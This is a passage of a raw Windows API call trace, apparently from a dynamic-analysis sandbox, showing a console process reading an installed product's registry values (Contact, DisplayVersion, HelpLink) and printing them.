lpUsedDefaultChar=0x0) returned 4 [0150.544] GetConsoleOutputCP () returned 0x1b5 [0150.544] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.544] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.544] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.544] __iob_func () returned 0x7fefd702a80 [0150.544] _fileno (_File=0x7fefd702ab0) returned 1 [0150.544] _errno () returned 0x204bb0 [0150.544] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.544] _errno () returned 0x204bb0 [0150.544] GetFileType (hFile=0x50) returned 0x1 [0150.544] lstrlenW (lpString="Caution. Removing this product might prevent some applications from running.") returned 76 [0150.544] GetConsoleOutputCP () returned 0x1b5 [0150.545] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Caution. Removing this product might prevent some applications from running.", cchWideChar=76, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 76 [0150.545] GetConsoleOutputCP () returned 0x1b5 [0150.545] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Caution. Removing this product might prevent some applications from running.", cchWideChar=76, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Caution. Removing this product might prevent some applications from running.", lpUsedDefaultChar=0x0) returned 76 [0150.545] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 76 [0150.545] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.545] __iob_func () returned 0x7fefd702a80 [0150.545] _fileno (_File=0x7fefd702ab0) returned 1 [0150.545] _errno () returned 0x204bb0 [0150.545] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.545] _errno () returned 0x204bb0 [0150.545] GetFileType (hFile=0x50) returned 0x1 [0150.545] lstrlenW (lpString="\n") returned 1 [0150.545] GetConsoleOutputCP () returned 0x1b5 [0150.545] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0150.545] GetConsoleOutputCP () returned 0x1b5 [0150.545] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0150.545] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0150.545] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.546] GetProcessHeap () returned 0x3c0000 [0150.546] GetProcessHeap () returned 0x3c0000 [0150.546] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3e1c70) returned 1 [0150.546] GetProcessHeap () returned 0x3c0000 [0150.546] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3e1c70) returned 0x9e [0150.546] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3e1c70 | out: hHeap=0x3c0000) returned 1 [0150.546] RegEnumValueW (in: hKey=0x5c, dwIndex=0x2, lpValueName=0x3d5c30, lpcchValueName=0x29f7e4, lpReserved=0x0, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0 | out: lpValueName="Contact", lpcchValueName=0x29f7e4, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0) returned 0x0 [0150.546] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="Contact", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x4) returned 0x0 [0150.546] GetProcessHeap () returned 0x3c0000 [0150.546] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x6) returned 0x3dee90 [0150.546] GetProcessHeap () returned 0x3c0000 [0150.546] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0150.546] GetProcessHeap () returned 0x3c0000 [0150.546] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x6 [0150.546] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="Contact", dwFlags=0x1000ffff, pdwType=0x29f700, pvData=0x3dee90, pcbData=0x29f780*=0x4 | out: pdwType=0x29f700*=0x1, pvData="", pcbData=0x29f780*=0x2) returned 0x0 [0150.546] __iob_func () returned 0x7fefd702a80 [0150.546] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0150.546] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x29f690 | out: _Buffer=" ") returned 4 [0150.546] _fileno (_File=0x7fefd702ab0) returned 1 [0150.546] _errno () returned 0x204bb0 [0150.546] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.546] _errno () returned 0x204bb0 [0150.546] GetFileType (hFile=0x50) returned 0x1 [0150.546] lstrlenW (lpString=" ") returned 4 [0150.546] GetConsoleOutputCP () returned 0x1b5 [0150.546] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.546] GetConsoleOutputCP () returned 0x1b5 [0150.547] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.547] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.547] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.547] lstrlenW (lpString="Contact") returned 7 [0150.547] __iob_func () returned 0x7fefd702a80 [0150.547] _fileno (_File=0x7fefd702ab0) returned 1 [0150.547] _errno () returned 0x204bb0 [0150.547] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.547] _errno () returned 0x204bb0 [0150.547] GetFileType (hFile=0x50) returned 0x1 [0150.547] lstrlenW (lpString="Contact") returned 7 [0150.547] GetConsoleOutputCP () returned 0x1b5 [0150.547] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Contact", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0150.547] GetConsoleOutputCP () returned 0x1b5 [0150.547] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Contact", cchWideChar=7, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Contact", lpUsedDefaultChar=0x0) returned 7 [0150.547] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 7 [0150.547] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.547] __iob_func () returned 0x7fefd702a80 [0150.547] _fileno (_File=0x7fefd702ab0) returned 1 [0150.547] _errno () returned 0x204bb0 [0150.547] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.547] _errno () returned 0x204bb0 [0150.547] GetFileType (hFile=0x50) returned 0x1 [0150.547] lstrlenW (lpString=" ") returned 4 [0150.548] GetConsoleOutputCP () returned 0x1b5 [0150.548] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.548] GetConsoleOutputCP () returned 0x1b5 [0150.548] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.548] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.548] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.548] __iob_func () returned 0x7fefd702a80 [0150.548] _fileno (_File=0x7fefd702ab0) returned 1 [0150.548] _errno () returned 0x204bb0 [0150.548] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.548] _errno () returned 0x204bb0 [0150.548] GetFileType (hFile=0x50) returned 0x1 [0150.548] lstrlenW (lpString="REG_SZ") returned 6 [0150.548] GetConsoleOutputCP () returned 0x1b5 [0150.548] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0150.548] GetConsoleOutputCP () returned 0x1b5 [0150.548] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_SZ", lpUsedDefaultChar=0x0) returned 6 [0150.548] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0150.548] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.548] __iob_func () returned 0x7fefd702a80 [0150.549] _fileno (_File=0x7fefd702ab0) returned 1 [0150.549] _errno () returned 0x204bb0 [0150.549] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.549] _errno () returned 0x204bb0 [0150.549] GetFileType (hFile=0x50) returned 0x1 [0150.549] lstrlenW (lpString=" ") returned 4 [0150.549] GetConsoleOutputCP () returned 0x1b5 [0150.549] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.549] GetConsoleOutputCP () returned 0x1b5 [0150.549] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.549] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.549] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.549] __iob_func () returned 0x7fefd702a80 [0150.549] _fileno (_File=0x7fefd702ab0) returned 1 [0150.549] _errno () returned 0x204bb0 [0150.549] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.549] _errno () returned 0x204bb0 [0150.549] GetFileType (hFile=0x50) returned 0x1 [0150.549] lstrlenW (lpString="") returned 0 [0150.549] __iob_func () returned 0x7fefd702a80 [0150.549] _fileno (_File=0x7fefd702ab0) returned 1 [0150.549] _errno () returned 0x204bb0 [0150.549] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.549] _errno () returned 0x204bb0 [0150.549] GetFileType (hFile=0x50) returned 0x1 [0150.549] lstrlenW (lpString="\n") returned 1 [0150.549] GetConsoleOutputCP () returned 0x1b5 [0150.550] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0150.550] GetConsoleOutputCP () returned 0x1b5 [0150.550] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0150.550] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0150.550] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.550] GetProcessHeap () returned 0x3c0000 [0150.550] GetProcessHeap () returned 0x3c0000 [0150.550] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0150.550] GetProcessHeap () returned 0x3c0000 [0150.550] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x6 [0150.550] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90 | out: hHeap=0x3c0000) returned 1 [0150.550] RegEnumValueW (in: hKey=0x5c, dwIndex=0x3, lpValueName=0x3d5c30, lpcchValueName=0x29f7e4, lpReserved=0x0, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayVersion", lpcchValueName=0x29f7e4, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0) returned 0x0 [0150.550] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="DisplayVersion", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x18) returned 0x0 [0150.550] GetProcessHeap () returned 0x3c0000 [0150.550] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x1a) returned 0x3d5c60 [0150.550] GetProcessHeap () returned 0x3c0000 [0150.550] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3d5c60) returned 1 [0150.550] GetProcessHeap () returned 0x3c0000 [0150.550] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3d5c60) returned 0x1a [0150.550] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="DisplayVersion", dwFlags=0x1000ffff, pdwType=0x29f700, pvData=0x3d5c60, pcbData=0x29f780*=0x18 | out: pdwType=0x29f700*=0x1, pvData="11.0.61030", pcbData=0x29f780*=0x16) returned 0x0 [0150.550] __iob_func () returned 0x7fefd702a80 [0150.550] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0150.550] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x29f690 | out: _Buffer=" ") returned 4 [0150.550] _fileno (_File=0x7fefd702ab0) returned 1 [0150.550] _errno () returned 0x204bb0 [0150.550] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.550] _errno () returned 0x204bb0 [0150.550] GetFileType (hFile=0x50) returned 0x1 [0150.550] lstrlenW (lpString=" ") returned 4 [0150.551] GetConsoleOutputCP () returned 0x1b5 [0150.551] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.551] GetConsoleOutputCP () returned 0x1b5 [0150.551] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.551] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.551] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.551] lstrlenW (lpString="DisplayVersion") returned 14 [0150.551] __iob_func () returned 0x7fefd702a80 [0150.551] _fileno (_File=0x7fefd702ab0) returned 1 [0150.551] _errno () returned 0x204bb0 [0150.551] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.551] _errno () returned 0x204bb0 [0150.551] GetFileType (hFile=0x50) returned 0x1 [0150.551] lstrlenW (lpString="DisplayVersion") returned 14 [0150.551] GetConsoleOutputCP () returned 0x1b5 [0150.551] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="DisplayVersion", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0150.551] GetConsoleOutputCP () returned 0x1b5 [0150.551] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="DisplayVersion", cchWideChar=14, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayVersion", lpUsedDefaultChar=0x0) returned 14 [0150.551] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 14 [0150.551] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.552] __iob_func () returned 0x7fefd702a80 [0150.552] _fileno (_File=0x7fefd702ab0) returned 1 [0150.552] _errno () returned 0x204bb0 [0150.552] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.552] _errno () returned 0x204bb0 [0150.552] GetFileType (hFile=0x50) returned 0x1 [0150.552] lstrlenW (lpString=" ") returned 4 [0150.552] GetConsoleOutputCP () returned 0x1b5 [0150.552] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.552] GetConsoleOutputCP () returned 0x1b5 [0150.552] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.552] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.552] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.552] __iob_func () returned 0x7fefd702a80 [0150.552] _fileno (_File=0x7fefd702ab0) returned 1 [0150.552] _errno () returned 0x204bb0 [0150.552] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.552] _errno () returned 0x204bb0 [0150.552] GetFileType (hFile=0x50) returned 0x1 [0150.552] lstrlenW (lpString="REG_SZ") returned 6 [0150.552] GetConsoleOutputCP () returned 0x1b5 [0150.552] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0150.552] GetConsoleOutputCP () returned 0x1b5 [0150.553] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_SZ", lpUsedDefaultChar=0x0) returned 6 [0150.553] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0150.553] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.553] __iob_func () returned 0x7fefd702a80 [0150.553] _fileno (_File=0x7fefd702ab0) returned 1 [0150.553] _errno () returned 0x204bb0 [0150.553] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.553] _errno () returned 0x204bb0 [0150.553] GetFileType (hFile=0x50) returned 0x1 [0150.553] lstrlenW (lpString=" ") returned 4 [0150.553] GetConsoleOutputCP () returned 0x1b5 [0150.553] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.553] GetConsoleOutputCP () returned 0x1b5 [0150.553] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.553] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.553] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.553] __iob_func () returned 0x7fefd702a80 [0150.553] _fileno (_File=0x7fefd702ab0) returned 1 [0150.553] _errno () returned 0x204bb0 [0150.553] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.553] _errno () returned 0x204bb0 [0150.553] GetFileType (hFile=0x50) returned 0x1 [0150.553] lstrlenW (lpString="11.0.61030") returned 10 [0150.553] GetConsoleOutputCP () returned 0x1b5 [0150.554] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="11.0.61030", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0150.554] GetConsoleOutputCP () returned 0x1b5 [0150.554] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="11.0.61030", cchWideChar=10, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="11.0.61030", lpUsedDefaultChar=0x0) returned 10 [0150.554] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 10 [0150.554] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.554] __iob_func () returned 0x7fefd702a80 [0150.554] _fileno (_File=0x7fefd702ab0) returned 1 [0150.554] _errno () returned 0x204bb0 [0150.554] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.554] _errno () returned 0x204bb0 [0150.554] GetFileType (hFile=0x50) returned 0x1 [0150.554] lstrlenW (lpString="\n") returned 1 [0150.554] GetConsoleOutputCP () returned 0x1b5 [0150.554] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0150.554] GetConsoleOutputCP () returned 0x1b5 [0150.554] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0150.554] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0150.554] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.554] GetProcessHeap () returned 0x3c0000 [0150.554] GetProcessHeap () returned 0x3c0000 [0150.554] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3d5c60) returned 1 [0150.555] GetProcessHeap () returned 0x3c0000 [0150.555] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3d5c60) returned 0x1a [0150.555] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3d5c60 | out: hHeap=0x3c0000) returned 1 [0150.555] RegEnumValueW (in: hKey=0x5c, dwIndex=0x4, lpValueName=0x3d5c30, lpcchValueName=0x29f7e4, lpReserved=0x0, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0 | out: lpValueName="HelpLink", lpcchValueName=0x29f7e4, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0) returned 0x0 [0150.555] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="HelpLink", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x5c) returned 0x0 [0150.555] GetProcessHeap () returned 0x3c0000 [0150.555] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x5e) returned 0x3db830 [0150.555] GetProcessHeap () returned 0x3c0000 [0150.555] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3db830) returned 1 [0150.555] GetProcessHeap () returned 0x3c0000 [0150.555] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3db830) returned 0x5e [0150.555] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="HelpLink", dwFlags=0x1000ffff, pdwType=0x29f700, pvData=0x3db830, pcbData=0x29f780*=0x5c | out: pdwType=0x29f700*=0x2, pvData="http://go.microsoft.com/fwlink/?LinkId=133405", pcbData=0x29f780*=0x5c) returned 0x0 [0150.555] __iob_func () returned 0x7fefd702a80 [0150.555] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0150.555] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x29f690 | out: _Buffer=" ") returned 4 [0150.555] _fileno (_File=0x7fefd702ab0) returned 1 [0150.555] _errno () returned 0x204bb0 [0150.555] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.555] _errno () returned 0x204bb0 [0150.555] GetFileType (hFile=0x50) returned 0x1 [0150.555] lstrlenW (lpString=" ") returned 4 [0150.555] GetConsoleOutputCP () returned 0x1b5 [0150.555] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.555] GetConsoleOutputCP () returned 0x1b5 [0150.555] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.555] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.555] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.556] lstrlenW (lpString="HelpLink") returned 8 [0150.556] __iob_func () returned 0x7fefd702a80 [0150.556] _fileno (_File=0x7fefd702ab0) returned 1 [0150.556] _errno () returned 0x204bb0 [0150.556] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.556] _errno () returned 0x204bb0 [0150.556] GetFileType (hFile=0x50) returned 0x1 [0150.556] lstrlenW (lpString="HelpLink") returned 8 [0150.556] GetConsoleOutputCP () returned 0x1b5 [0150.556] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="HelpLink", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0150.556] GetConsoleOutputCP () returned 0x1b5 [0150.556] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="HelpLink", cchWideChar=8, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="HelpLink", lpUsedDefaultChar=0x0) returned 8 [0150.556] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 8 [0150.556] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.556] __iob_func () returned 0x7fefd702a80 [0150.556] _fileno (_File=0x7fefd702ab0) returned 1 [0150.556] _errno () returned 0x204bb0 [0150.556] _get_osfhandle (_FileHandle=1) 